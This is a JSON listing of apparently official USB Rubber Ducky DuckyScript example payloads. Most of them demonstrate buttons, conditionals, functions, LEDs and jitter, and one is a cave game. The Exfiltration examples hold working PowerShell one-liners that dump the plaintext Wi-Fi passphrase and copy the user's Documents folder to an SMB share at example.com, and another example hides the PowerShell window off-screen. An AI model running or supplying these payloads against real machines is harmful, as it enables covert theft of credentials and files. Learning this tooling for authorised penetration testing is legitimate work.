    "content": "REM WAIT_FOR_BUTTON_PRESS halts payload execution until a button press is detected.\rREM When this command is reached in the payload, no further execution will occur. The button definition (either set using BUTTON_DEF or the arming-mode default) will be suppressed.\r\rSTRING Press the button...\rWAIT_FOR_BUTTON_PRESS\rSTRING The button was pressed!\r\rREM The text \"The button was pressed!\" will not be typed until the button is pressed.\r"
  },
  {
    "path": "payloads/examples/Button/Button-example2.txt",
    "content": "STRING Press the button 3 times...\rWAIT_FOR_BUTTON_PRESS\rSTRING 1...\rWAIT_FOR_BUTTON_PRESS\rSTRING 2...\rWAIT_FOR_BUTTON_PRESS\rSTRING 3... You did it!\r\r\rREM The button must be pressed 3 times to complete the payload.\r"
  },
  {
    "path": "payloads/examples/Button/Button-example3.txt",
    "content": "LED_R\rREM First Stage Payload Code...\rREM Wait for operator to assess target \rREM before executing second stage.\rWAIT_FOR_BUTTON_PRESS\rLED_G\rREM Second Stage Payload Code...\r\rREM The operator is instructed to press the button as soon as the target is ready for the next stage.\rREM The LED command is used to indicate to the operator that the payload is waiting for a button press."
  },
  {
    "path": "payloads/examples/Button/Button-example4.txt",
    "content": "REM BUTTON_DEF defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the WAIT_FOR_BUTTON_PRESS command or other such function.\nREM By default, if no button definition (BUTTON_DEF) is included in the payload, the button will stop all further payload execution and invoke ATTACKMODE STORAGE — entering the USB Rubber Ducky into arming mode.\nREM Similar to functions (described later), which begin with FUNCTION NAME() and with END_FUNCTION, the button definition begins with BUTTON_DEF and ends with END_BUTTON.\n\nBUTTON_DEF\n  STRING The button was pressed!\n  STOP_PAYLOAD\nEND_BUTTON\n\nWHILE TRUE\n  STRING .\n  DELAY 1000\nEND_WHILE\n\n\nREM The payload will type a period every second until the button is pressed. \nREM Once the button is pressed, the payload will type the text “The button was pressed!”\nREM After the button press text is typed, the payload will terminate.\n"
  },
  {
    "path": "payloads/examples/Button/Button-example5.txt",
    "content": "BUTTON_DEF\n  WHILE TRUE\n  LED_R\n  DELAY 1000\n  LED_OFF\n  DELAY 1000\n  END_WHILE\nEND_BUTTON\n\nSTRING Press the button at any point to blink the LED red\nWHILE TRUE\n  STRING .\n  DELAY 1000\nEND_WHILE\n\nREM If the button is pressed at any point in the payload it will stop typing “.” and the LED will start blink red until the device is unplugged.\n"
  },
  {
    "path": "payloads/examples/Button/Button-example6.txt",
    "content": "BUTTON_DEF\n  REM This is the first button definition\n  STRINGLN The button was pressed once!\n  BUTTON_DEF\n    REM This second button definition \n    REM overwrites the first\n    STRINGLN The button was pressed twice!\n  END_BUTTON\nEND_BUTTON\n\nSTRING Press the button twice to see\nSTRING how nested button definitions work!\nENTER\n\nWHILE TRUE\n  STRING .\n  DELAY 1000\nEND_WHILE\n\n\nREM If the button is pressed once at any point in the payload it will stop typing “.” and the first button definition will be executed.\nREM When the first button definition is executed, a secondary button definition will be implemented.\nREM If the button pressed a second time, the newly implement second button definition will execute.\n"
  },
  {
    "path": "payloads/examples/Button/Button-example7.txt",
    "content": "REM The DISABLE_BUTTON command prevents the button from calling the BUTTON_DEF. \n\nBUTTON_DEF\n  STRING This will never execute\nEND_BUTTON\n\nDISABLE_BUTTON\n\nSTRING The button is disabled\nWHILE TRUE\n  STRING .\n  DELAY 1000\nEND_WHILE\n\n\nREM The DISABLE_BUTTON command disables the BUTTON_DEF.\nREM The button definition which types \"This will never execute\", will never execute — even if the button is pressed.\n"
  },
  {
    "path": "payloads/examples/Button/Button-example8.txt",
    "content": "ATTACKMODE OFF\nLED_OFF\nDISABLE_BUTTON\n\nREM The USB Rubber Ducky will be effectively disabled.\n"
  },
  {
    "path": "payloads/examples/Button/Button-example9.txt",
    "content": "REM The ENABLE_BUTTON command allows pressing the button to call the BUTTON_DEF. \r\rBUTTON_DEF\r  STRINGLN The button was pressed!\r  STRINGLN Continuing the payload...\rEND_BUTTON\r\rWHILE TRUE\r  DISABLE_BUTTON\r  STRING The button is disabled for the next \r  STRINGLN 5 seconds...\r  STRINGLN Pressing the button will do nothing...\r  DELAY 5000\r  \r  ENABLE_BUTTON\r  STRING The button is enabled for the next \r  STRINGLN 5 seconds...\r  STRING Pressing the button will execute \r  STRINGLN the button definition...\r  DELAY 5000\rEND_WHILE\r\rREM The payload will alternate between the button being enabled and disabled.\rREM If the button is pressed within the 5 second disabled window, nothing will happen.\rREM If the button is pressed within the 5 second enabled window, the button definition will be executed and \"The button was pressed!\" will be typed.\rREM The payload will loop forever."
  },
  {
    "path": "payloads/examples/Conditions/Conditions-example1.txt",
    "content": "REM The flow control statement IF will determine whether or not to execute its block of code based on the evaluation of an expression. One way to interpret an IF statement is to read it as \"IF this condition is true, THEN do this\".\r\rREM The IF statement consists of these parts\rREM - The IF keyword\rREM - The condition, or expression that evaluates to TRUE or FALSE\rREM - In most cases, the expression is surrounded by parenthesis ( )\rREM - The THEN keyword\rREM - One or more newlines containing the block of code to execute\rREM - The END_IF keyword\r\rREM Example IF THEN\r\r$FOO = 42\r$BAR = 1337\r\rIF ( $FOO < $BAR ) THEN\r  STRING 42 is less than 1337\rEND_IF\r\rREM The expression \"Is 42 less than 1337\" is evaluated and determined to be TRUE.\rREM Because the IF condition is TRUE, the code between the keywords THEN and END_IF are executed.\rREM The string \"42 is less than 1337\" is typed."
  },
  {
    "path": "payloads/examples/Conditions/Conditions-example2.txt",
    "content": "REM The ELSE statement is an optional component of the IF statement which will only execute when the IF statement condition is FALSE. One way to interpret an ELSE statement is to read it as \"IF this condition is true, THEN do this thing, or ELSE do another thing\".\r\r\rREM Example IF THEN ELSE\r\rIF ( $_CAPSLOCK_ON == TRUE ) THEN\r    STRING Capslock is on!\rELSE IF ( $_CAPSLOCK_ON == FALSE ) THEN\r    STRING Capslock is off!\rEND_IF\r\r\rREM The condition of the capslock key, as determined by the target operating system, is checked.\rREM If the caps lock key state has been reported by the target as ON, the string \"Capslock is on\" will be typed.\rREM Otherwise, if the capslock key state has not been reported by the target (or it has been reported as not being on), the string \"Capslock is off\" will be typed."
  },
  {
    "path": "payloads/examples/Conditions/Conditions-example3.txt",
    "content": "REM A nested IF statement is quite simply an IF statement placed inside another IF statement. Nested IF statements may be used when evaluating a combination of conditions.\r\r\rREM Example nested IF statements\r\rIF ( $_CAPSLOCK_ON == TRUE ) THEN\r    IF ( $_NUMLOCK_ON == TRUE ) THEN\r        STRING Both Capslock and Numlock are on!\r    END_IF\rEND_IF\r\r\rREM The condition of the first IF statement is evaluated — whether or not the target has reported that the caps lock key is on. If it is TRUE, then the nested IF statement will run.\n\rREM The second IF statement is evaluated much like the first, only this time checking the status of the num lock key.\n\rREM If both the capslock and numlock keys have been reported by the target as being on, then the string \"Both Capslock and Numlock are on!\" will be typed."
  },
  {
    "path": "payloads/examples/Conditions/Conditions-example4.txt",
    "content": "REM In some cases it may be more efficient to use logical operators within a single IF statement, rather than using a nested IF structure. \r\r\rREM Example IF statement with logical operators\r\rIF (( $_CAPSLOCK_ON == TRUE ) && ( $_NUMLOCK_ON == TRUE )) THEN\r    STRING Both Capslock and Numlock are on!\rEND_IF\r\r\rREM Because the AND logical operator is in use, the whole condition will only evaluate as TRUE if both sub conditions are TRUE.\n\rREM Similar to the Nested IF example, the string \"Both Capslock and Numlock are on!\" will only be typed if both capslock and numlock are reported by the target as being on.\r"
  },
  {
    "path": "payloads/examples/Conditions/Conditions-example5.txt",
    "content": "REM The syntax of IF states that in nearly all cases the expression should be surrounded by parenthesis ( ) — however there is an exception to this rule. \rREM If the condition of only one variable is true or false, the parenthesis may be omitted. This results in a slightly smaller encoded inject.bin file as well as slightly faster payload execution. This is because it removes the step of first reducing the order precedence.\r\rREM Example of optimized and unoptimized IF statements\rREM Consider\rVAR $FLAG = TRUE\r\rIF $FLAG THEN\r    STRING FLAG is TRUE\rEND_IF\r\rREM versus\r\rIF ( $FLAG == TRUE ) THEN\r    STRING FLAG is TRUE\rEND_IF\r\r\rREM In the first example, the IF statement without the parenthesis results in a 6 bytes added to the compiled inject.bin file.\nREM In the second example, the IF statement surrounded by parenthesis results in 16 bytes added to the compiled inject.bin file.\r"
  },
  {
    "path": "payloads/examples/Conditions/Conditions-example6.txt",
    "content": "REM Example of optimized IF statement \rREM with internal variable\r\rIF $_CAPSLOCK_ON THEN\r    STRINGLN The caps lock key is on\rEND_IF\r\r\rREM The internal variable $_CAPSLOCK_ON is checked. \nREM If it evaluates as TRUE, the message “The caps lock key is on” is typed."
  },
  {
    "path": "payloads/examples/Example_Payloads/konami_cave.txt",
    "content": "REM Boots as STORAGE, starts a game of cave in a text editor after konami code \nREM COMPATABILITY: \nREM DuckyScript 3.0\n\nREM TARGET:\nREM Any host that will reflect CAPSLOCK\n\nREM DEPLOYMENT:\nREM Plug in Ducky. To Start a game of cave:\nREM Open PayloadStudio Console, notepad or text editor, make sure cursor is active there\nREM Press the button on the Ducky\nREM Press CAPSLOCK on the host machine lock 5 times\nREM Press the Duck button to confirm and start game\nREM Good luck!\n\nATTACKMODE STORAGE\nLED_G\nWAIT_FOR_BUTTON_PRESS\nLED_OFF\nATTACKMODE HID STORAGE\nLED_G\nWAIT_FOR_CAPS_CHANGE\nLED_OFF\nWAIT_FOR_CAPS_CHANGE\nLED_G\nWAIT_FOR_CAPS_CHANGE\nLED_OFF\nWAIT_FOR_CAPS_CHANGE\nLED_G\nWAIT_FOR_CAPS_CHANGE\nLED_R\nWAIT_FOR_BUTTON_PRESS\nLED_G\n\nDEFINE RIGHT 0\nDEFINE LEFT 1\nDEFINE GAME_MAX_WIDTH 40\nDEFINE GAME_SPEED 200 \nVAR $mode = RIGHT\nVAR $lock_state = FALSE\nVAR $score = 0\nVAR $running = TRUE\nVAR $direction_changes = 0\n\nVAR $D = 0\nVAR $INPUT = 0\nVAR $MOD = 0\nVAR $P = FALSE\nFUNCTION PRINTDIGIT()\n    IF ($D == 0) THEN\n        STRING 0\n    ELSE IF ($D == 1) THEN\n        STRING 1\n    ELSE IF ($D == 2) THEN\n        STRING 2\n    ELSE IF ($D == 3) THEN\n        STRING 3\n    ELSE IF ($D == 4) THEN\n        STRING 4\n    ELSE IF ($D == 5) THEN\n        STRING 5\n    ELSE IF ($D == 6) THEN\n        STRING 6\n    ELSE IF ($D == 7) THEN\n        STRING 7\n    ELSE IF ($D == 8) THEN\n        STRING 8\n    ELSE IF ($D == 9) THEN\n        STRING 9\n    ELSE \n        STRING ?\n    END_IF\nEND_FUNCTION\nFUNCTION CONSUME()\n    $D = 0\n    WHILE ($INPUT >= $MOD)\n        $D = ($D + 1)\n        $INPUT = ($INPUT - $MOD)\n    END_WHILE\n    IF (($D > 0) || ($P == TRUE)) THEN\n        $P = TRUE\n        PRINTDIGIT()\n    END_IF\nEND_FUNCTION\nFUNCTION TRANSLATE_INT() \n    $P = FALSE\n    IF ( $INPUT >= 10000) THEN\n        $MOD = 10000\n        CONSUME()\n    END_IF\n    IF (($INPUT >= 1000) || ($P == TRUE)) THEN\n        $MOD = 1000\n        CONSUME()\n    END_IF\n    IF (($INPUT >= 100) || ($P == TRUE)) THEN\n        $MOD = 100\n        CONSUME()\n    END_IF\n    IF (($INPUT >= 10) || ($P == TRUE)) THEN\n        $MOD = 10\n        CONSUME()\n    END_IF()\n    $D = $INPUT\n    PRINTDIGIT()\n    ENTER\nEND_FUNCTION\nFUNCTION TRANSLATE_BOOL()\n    IF ($INPUT == TRUE) THEN\n        STRING TRUE\n    ELSE IF ($INPUT == FALSE) THEN\n        STRING FALSE\n    ELSE \n        STRING ?\n    END_IF\n    ENTER\nEND_FUNCTION\n\nVAR $CD = 3\nFUNCTION COUNTDOWN()\n\tWHILE ( $CD > 0 )\n\t\tSTRING .\n\t\t$CD = ($CD - 1)\n\t\tDELAY 1000\n\tEND_WHILE\nEND_FUNCTION\n\nFUNCTION ENSURE_CAPS_OFF()\n\tIF ($_CAPSLOCK_ON == TRUE) THEN\n\t\tCAPSLOCK\n\tEND_IF\nEND_FUNCTION\n\nFUNCTION init() \n    $_RANDOM_MIN = 9\n    $_RANDOM_MAX = 19\n    VAR $l_wall = $_RANDOM_INT\n    $_RANDOM_MIN = 20 \n    $_RANDOM_MAX = 29\n    VAR $player = $_RANDOM_INT\n    $_RANDOM_MIN = 30\n    $_RANDOM_MAX = 40\n    VAR $r_wall = $_RANDOM_INT\nEND_FUNCTION\n\nFUNCTION check_input()\n    VAR $changed = FALSE\n    IF ($_CAPSLOCK_ON != $lock_state) THEN\n        $lock_state = $_CAPSLOCK_ON\n    \t$direction_changes = ($direction_changes + 1)\n        IF ($mode == RIGHT) THEN\n            $mode = LEFT\n        ELSE\n            $mode = RIGHT\n        END_IF\n    END_IF\nEND_FUNCTION\n\nFUNCTION end_game()\n        LED_R\n        $running = FALSE\nEND_FUNCTION\n\nFUNCTION move_walls()\n    $_RANDOM_MIN = 0\n    $_RANDOM_MAX = 100\n    VAR $CHANCE = $_RANDOM_INT\n\n    IF ($CHANCE > 45) THEN\n        IF ($l_wall < GAME_MAX_WIDTH) THEN\n            $l_wall = ($l_wall + 1)\n            REM STRING l+\n        END_IF\n    ELSE\n        IF ($l_wall > 0) THEN\n            $l_wall = ($l_wall - 1)\n            REM STRING l-\n        ELSE\n            $l_wall = ($l_wall + 1)\n        END_IF\n    END_IF\n\n    $CHANCE = $_RANDOM_INT\n    IF ($CHANCE > 45) THEN\n        IF ($r_wall > 0) THEN\n            $r_wall = ($r_wall - 1)\n            REM STRING r-\n        END_IF\n    ELSE\n        IF ($r_wall < GAME_MAX_WIDTH) THEN\n            $r_wall = ($r_wall + 1)\n            REM STRING r+\n        ELSE\n            $r_wall = ($r_wall - 1)\n        END_IF\n    END_IF\n    REM ENTER\nEND_FUNCTION\n\nFUNCTION move_player()\n    IF ($mode == RIGHT) THEN\n        IF ($player < GAME_MAX_WIDTH) THEN\n            $player = ($player + 1)\n        END_IF\n    ELSE IF ($mode == LEFT) THEN\n        IF ($player > 0) THEN\n            $player = ($player - 1)\n        END_IF\n    END_IF\nEND_FUNCTION\n\nFUNCTION draw()\n\tIF (($player <= $l_wall) || ($player >= $r_wall)) THEN\n\t\tend_game()\n        STRING BONK\n        RETURN 0\n    END_IF\n\n    VAR $l_inside_whitespace = (($player - $l_wall) - 1)\n    VAR $r_inside_whitespace = (($r_wall - $player) - 1)\n    IF ($l_wall > 1) THEN\n        VAR $l_outside_whitespace = ($l_wall - 1)\n        WHILE ($l_outside_whitespace > 0)\n            SPACE\n            $l_outside_whitespace = ($l_outside_whitespace - 1)\n        END_WHILE\n    END_IF \n    STRING |\n    WHILE ($l_inside_whitespace > 0)\n        SPACE\n        $l_inside_whitespace = ($l_inside_whitespace - 1)\n    END_WHILE\n    IF ($mode == RIGHT) THEN\n        STRING >\n    ELSE IF ($mode == LEFT) THEN\n        STRING <\n    END_IF\n    WHILE ($r_inside_whitespace > 0)\n        SPACE\n        $r_inside_whitespace = ($r_inside_whitespace - 1)\n    END_WHILE\n    STRING |\n    ENTER\n    $score = ($score + 1)\n    RETURN 0\nEND_FUNCTION\n\nFUNCTION run()\n    check_input()\n    move_walls()\n    check_input()\n    move_player()\n    check_input()\n    draw()\nEND_FUNCTION\n\nFUNCTION play_cave()\n\tWHILE TRUE\n\t\tENSURE_CAPS_OFF()\n\t\t$score = 0\n\t\tLED_G\n\t\tENTER\n\t \tSTRING Game Starting in 3s\n\t\t$CD = 3\n\t\tCOUNTDOWN()\n\t\tENTER\n\t\tSTRING GOOD LUCK!\n\t\tENTER\n\t\tENTER\n\t    init()\n\t    WHILE ($running == TRUE) \n\t        DELAY GAME_SPEED\n\t        run()\n\t    END_WHILE\n\t\tENSURE_CAPS_OFF()\n\t\tENTER\n\t\tSTRING Left wall \n\t\t$INPUT = $l_wall\n\t\tTRANSLATE_INT()\n\t\tSTRING Right wall:\n\t\t$INPUT = $r_wall\n\t\tTRANSLATE_INT()\n\t\tSTRING Player position:\n\t\t$INPUT = $player\n\t\tTRANSLATE_INT()\n\t\tSTRING GAME OVER. SCORE: \n\t\t$INPUT = $score\n\t\tTRANSLATE_INT()\n\t\tSTRING Player Moves: \n\t\t$INPUT = $direction_changes\n\t\tTRANSLATE_INT()\n\t\tDELAY 1000\n\t\tSTRING Press CAPS to play again.\n\t\tWAIT_FOR_CAPS_CHANGE\n\t\t$running = TRUE\n\t\tDELAY 100\n    END_WHILE \nEND_FUNCTION\n\nBUTTON_DEF\n\tend_game()\nEND_BUTTON\n\nplay_cave()"
  },
  {
    "path": "payloads/examples/Example_Payloads/payload_menu.txt",
    "content": "REM Example Injection/Text Based Payload selection\nREM COMPATABILITY: \nREM DuckyScript 3.0\n\nREM TARGET:\nREM Any host that will reflect NUMLOCK\n\nREM USAGE:\nREM Replace the Hello Payload 1/2/3 stubs below with payloads of your choice. \n\nREM DEPLOYMENT:\nREM Open PayloadStudio Console, notepad or text editor, make sure cursor is active there\nREM Plug in Ducky\nREM Hit NUMLOCK on the host machine to cycle through modes\nREM Hit the button on the Ducky to confirm current selection\nREM Replace Example Modes with desired payloads - marked via comments below\n\nDELAY 1000\nVAR $SELECTED = 0\nDEFINE MODE_MAX 2\nDEFINE MODE_1 0\nDEFINE MODE_2 1\nDEFINE MODE_3 2\n\nFUNCTION inc_mode()\n\tIF ($SELECTED == MODE_MAX) THEN\n\t\t$SELECTED = 0\n\tELSE\n\t\t$SELECTED = ($SELECTED + 1)\n\tEND_IF\nEND_FUNCTION\n\nBUTTON_DEF\n\tENTER\n\tSTRING SELECTION MADE\n\tENTER\n\t$MODE_SELECTED = TRUE\nEND_BUTTON\n\nFUNCTION draw_menu()\n\tENTER\n\tSTRINGLN Menu\n\tSTRING [\n\tIF ($SELECTED == MODE_1) THEN\n\t\tSTRING *\n\tEND_IF\n\tSTRINGLN ] PAYLOAD 1\n\tSTRING [\n\tIF ($SELECTED == MODE_2) THEN\n\t\tSTRING *\n\tEND_IF\n\tSTRINGLN ] PAYLOAD 2\n\tSTRING [\n\tIF ($SELECTED == MODE_3) THEN\n\t\tSTRING *\n\tEND_IF\n\tSTRINGLN ] PAYLOAD 3\nEND_FUNCTION\n\nFUNCTION run_menu()\n\tVAR $MODE_SELECTED = FALSE\n\tVAR $NUMSTATE = $_NUMLOCK_ON\n\tdraw_menu()\n\tWHILE ($MODE_SELECTED == FALSE) \n\t\tIF ($NUMSTATE != $_NUMLOCK_ON) THEN\n\t\t\t$NUMSTATE = $_NUMLOCK_ON\n\t\t\tinc_mode()\n\t\t\tdraw_menu()\n\t\tEND_IF\n\t\tDELAY 200\n\tEND_WHILE\n\tDELAY 1000\n\t$_BUTTON_USER_DEFINED = FALSE\n\tIF ($SELECTED == MODE_1) THEN\n\t\tSTRINGLN PAYLOAD 1\n\tELSE IF ($SELECTED == MODE_2) THEN\n\t\tSTRINGLN PAYLOAD 2\n\tELSE IF ($SELECTED == MODE_3) THEN\n\t\tSTRINGLN PAYLOAD 3\n\tEND_IF\nEND_FUNCTION\n\nSTRING PRESS NUMLOCK to change selection\nENTER\nSTRING PRESS BUTTON to confirm selection\nENTER\nrun_menu()\n\n\nREM PAYLOADS/MODES\nIF ($SELECTED == MODE_1) THEN\n    REM PLACE PAYLOAD 1 HERE\n\tSTRING Hello Payload 1!\nELSE IF ($SELECTED == MODE_2) THEN\n    REM PLACE PAYLOAD 2 HERE\n\tSTRING Hello Payload 2!\nELSE IF ($SELECTED == MODE_3) THEN\n    REM PLACE PAYLOAD 3 HERE\n\tSTRING Hello Payload 3!\nEND_IF\n\n"
  },
  {
    "path": "payloads/examples/Exfiltration/Exfiltration-example1.txt",
    "content": "REM Example Simple USB Exfiltration Technique for Windows\nATTACKMODE HID STORAGE\nDELAY 2000\nGUI r\nDELAY 100\nSTRING powershell \"$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\\'$env:computername'.txt'\"\nENTER\n\n\nREM This short Powershell one-liner executes from the Windows Run dialog.\nREM The drive letter of the volume with the label “DUCKY” is saved as $m.\nREM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name).\nREM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the “DUCKY” drive, saved as the computer name (in .txt format).\n"
  },
  {
    "path": "payloads/examples/Exfiltration/Exfiltration-example2.txt",
    "content": "REM Example Simple SMB Exfiltration Method for Windows\nATTACKMODE HID\nDELAY 2000\nDEFINE SMB_SERVER example.com\nDEFINE SMB_SHARE sharedfolder\nGUI r\nDELAY 100\nSTRING powershell \"cp -r $env:USERPROFILE\\Documents\\* \\\\\nSTRING SMB_SERVER\nSTRING \\\nSTRING SMB_SHARE\nSTRING \"\nENTER\n\n \nREM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share.\n"
  },
  {
    "path": "payloads/examples/Exfiltration/Exfiltration-example3.txt",
    "content": "REM Example Simple Keystroke Reflection Attack for Windows\rREM Saves currently connected wireless LAN profile to DUCKY\rATTACKMODE HID\rLED_OFF\rDELAY 2000\rSAVE_HOST_KEYBOARD_LOCK_STATE\r$_EXFIL_MODE_ENABLED = TRUE\r$_EXFIL_LEDS_ENABLED = TRUE\r\rREM Store the currently connected WiFi SSID & Key to %tmp%\\z\rGUI r\rDELAY 100\rSTRINGLN powershell \"netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\\z\"\rDELAY 100\r\rREM Convert the stored creds into CAPSLOCK and NUMLOCK values.\rGUI r\rDELAY 100\rSTRINGLN powershell \"foreach($b in $(cat $env:tmp\\z -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >$env:tmp\\z\"\rDELAY 100\r\rREM Reflect the CAPSLOCK and NUMLOCK Keystrokes back to the Ducky.\rGUI r\rDELAY 100\rSTRINGLN powershell \"$o=(cat $env:tmp\\z);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\\z\"\rDELAY 100\r\rREM The final SCROLLLOCK keystroke indicates EXFIL is complete.\rWAIT_FOR_SCROLL_CHANGE\rLED_G\r$_EXFIL_MODE_ENABLED = FALSE\rRESTORE_HOST_KEYBOARD_LOCK_STATE\n\n\n\n\nREM Per the initial ATTACKMODE command. the USB Rubber Ducky will act as a HID keyboard.\n\rREM SAVE_HOST_KEYBOARD_LOCK_STATE will save the state of the lock key LEDs, as reported by the target, so that they may be restored to their original configuration after the Keystroke Reflection attack is performed.\n\rREM $_EXFIL_MODE_ENABLED = TRUE will instruct the USB Rubber Ducky to listen for control codes on the USB HID OUT endpoint, saving each change as a bit within loot.bin.\n\rREM $_EXFIL_LEDS_ENABLED = TRUE will show flash the USB Rubber Ducky LED as loot is saved, useful when debugging. Set as FALSE for a more stealthy operation, however the flash drive case should sufficiently conceal the LED.\n\rREM The first powershell one-liner, injected into the run dialog, will save the currently connected WiFi network name (SSID) and plaintext passphrase to a temporary file. The file, known as the \"loot\", is saved as \"z\" within %TEMP% ($env:tmp\\z) directory, encoded in standard ASCII.\n\rREM The second powershell one-liner will convert the temporary ASCII loot file, bit by bit, into a set of caps lock and num lock key values. It will conclude this file with a final scroll lock value.\n\rREM The third and final powershell one-liner, in software, will \"press\" the lock keys indicated by the temporary file via the SendKeys .NET class. The effect of this will be the binary values of the converted loot sent to the USB Rubber Ducky, one bit at a time, via the USB HID OUT endpoint.\n\rREM Additionally, the temporary file will then be removed. The pentester may consider including additional techniques for obfuscation, optimization and reducing the forensic footprint.\n\rREM WAIT_FOR_SCROLL_CHANGE will get triggered when the final key \"press\" from the SendKeys class is executed, thereby continuing the payload.\n\rREM Finally $_EXFIL_MODE_ENABLED = FALSE will instruct the USB Rubber Ducky to conclude saving the received control codes in loot.bin and RESTORE_HOST_KEYBOARD_LOCK_STATE will restore the lock key LEDs to their original state before the exfiltration began."
  },
  {
    "path": "payloads/examples/Exfiltration/Exfiltration-example4.txt",
    "content": "REM Example variable exfiltration\r\rVAR $FOO = 1337\rEXFIL $FOO\r\r\rREM The binary contents of the variable $FOO will be written (appended) to the loot.bin file on the root of the USB Rubber Ducky MicroSD card.\r\r"
  },
  {
    "path": "payloads/examples/Functions/Functions-example1.txt",
    "content": "REM Example Function\nVAR $TIMER = 3\nFUNCTION COUNTDOWN()\n    WHILE ($TIMER > 0)\n        STRING .\n        $TIMER = ($TIMER - 1)\n        DELAY 500\n    END_WHILE\nEND_FUNCTION\n\nSTRING And then it happened\nCOUNTDOWN()\n\nSPACE\nSTRING a door opened to a world\n$TIMER = 5\nCOUNTDOWN()\n\nREM The FUNCTION command defines a new function named COUNTDOWN() containing a code block with a WHILE loop which types a single period (\".\") for each value of $TIMER.\nREM The first time the COUNTDOWN() function is called, the $TIMER variable holds the value 3. The second time it is called, the $TIMER variable holds the value 5.\nREM The string \"And then it happened... a door opened to a world.....\" will be typed.\n"
  },
  {
    "path": "payloads/examples/Functions/Functions-example2.txt",
    "content": "REM Example FUNCTION with RETURN\nATTACKMODE HID\nDELAY 2000\n\nBUTTON_DEF\n    STRING !\nEND_BUTTON\n\nFUNCTION TEST_BUTTON()\n    STRING Press the button within the next 5 seconds.\n    VAR $TIMER = 5\n    WHILE ($TIMER > 0)\n        STRING .\n        DELAY 1000\n        $TIMER = ($TIMER - 1)\n    END_WHILE\n    ENTER\n    IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN\n        RETURN TRUE\n    ELSE IF ($_BUTTON_PUSH_RECEIVED == FALSE) THEN\n        RETURN FALSE\n    END_IF\nEND_FUNCTION\n\nIF (TEST_BUTTON() == TRUE) THEN\n    STRINGLN The button was pressed!\nELSE\n    STRINGLN The button was not pressed!\nEND_IF\n\nREM When the IF statement on line 26 checks the condition of the function TEST_BUTTON, the function is called and executed.\nREM Based on whether or not the button is pressed, the RETURN value (lines 19 and 21) will be set to TRUE or FALSE.\nREM The IF statement on line 26 evaluates the RETURN of the function TEST_BUTTON and types the result accordingly.\n"
  },
  {
    "path": "payloads/examples/Holding Keys/Holding-Keys-example1.txt",
    "content": "REM Example HOLD and RELEASE\rREM Target: Windows\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rREM Open Powershell\rGUI r\rDELAY 1000\rSTRING powershell\rENTER\r\rREM Hide Powershell Window\rDELAY 2000\rALT SPACE\rDELAY 100\rm\rDELAY 100\rHOLD DOWNARROW\rDELAY 3000\rRELEASE DOWNARROW\rENTER\r\rREM Run desired commands in obfuscated powershell window\rSTRING tree c:\\\rENTER\n\nREM This example payload targets Windows systems.\nREM Using the GUI r key combo to open the Run dialog, a powershell window will be opened.\nREM The ALT SPACE key combo opens the window menu of the currently active window (in this case, the powershell window), followed by the m key to select the Move command.\nREM The DOWNARROW is held for 3 seconds, as specified by the DELAY 3000 command, before being released — thus hiding the contents of the powershell window below the screen.\nREM The benign tree c:\\ command is run, producing a graphical directory structure of the disk."
  },
  {
    "path": "payloads/examples/Holding Keys/Holding-Keys-example2.txt",
    "content": "REM Example modifier key hold\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rINJECT_MOD\rHOLD CONTROL\rDELAY 4000\rRELEASE CONTROL\r\r\rREM The CONTROL key will be held for 4 seconds."
  },
  {
    "path": "payloads/examples/Holding Keys/Holding-Keys-example3.txt",
    "content": "REM Example holding multiple keys\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rSTRING iddqd\rDELAY 500\r\rWHILE TRUE\r    STRING idkfa\r    DELAY 500\r    HOLD LEFTARROW\r    HOLD UPARROW\r    INJECT_MOD\r    HOLD CONTROL\r    DELAY 5000\r    INJECT_MOD\r    RELEASE CONTROL\r    RELEASE UPARROW\r    RELEASE LEFTARROW\r    DELAY 500\rEND_WHILE\r\r\rREM Answering the age old question, \"will it run doom?\", this payload proves the 1993 classic first-person shooter no match for the USB Rubber Ducky.\rREM More specifically, this payload will cause Doom Guy to walk in circles firing his weapon."
  },
  {
    "path": "payloads/examples/Jitter/Jitter-example1.txt",
    "content": "REM Example Jitter\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\r$_JITTER_ENABLED = TRUE\rWHILE TRUE\r    STRINGLN The quick brown fox jumps over the lazy dog\rEND_WHILE\n\n\nREM The test string is typed continuously with a modulated delay between each key press."
  },
  {
    "path": "payloads/examples/Jitter/Jitter-example2.txt",
    "content": "REM Example Jitter with increasing $_JITTER_MAX\rATTACKMODE HID STORAGE\rDELAY 2000\r\r$_JITTER_ENABLED = TRUE\rWHILE TRUE\r    STRINGLN The quick brown fox jumps over the lazy dog\r    $_JITTER_MAX = ($_JITTER_MAX * 2)\rEND_WHILE\r\r\rREM With each iteration of typing the test string the jitter limit is doubled, yielding slower and more sporadic typing."
  },
  {
    "path": "payloads/examples/LED/LED-example1.txt",
    "content": "REM The LED_R command will enable the red LED.\r\rREM To show only a red LED disable any default LED behavior (such as storage or payload processing) by executing LED_OFF before LED_R.\n\nATTACKMODE HID STORAGE\rWHILE TRUE\r  IF ($_CAPSLOCK_ON == TRUE) THEN\r    LED_OFF\r    LED_R\r  ELSE IF ($_CAPSLOCK_ON == FALSE) THEN\r    LED_OFF\r  END_IF\rEND_WHILE\r\rREM The LED will turn solid red while caps lock is on."
  },
  {
    "path": "payloads/examples/LED/LED-example2.txt",
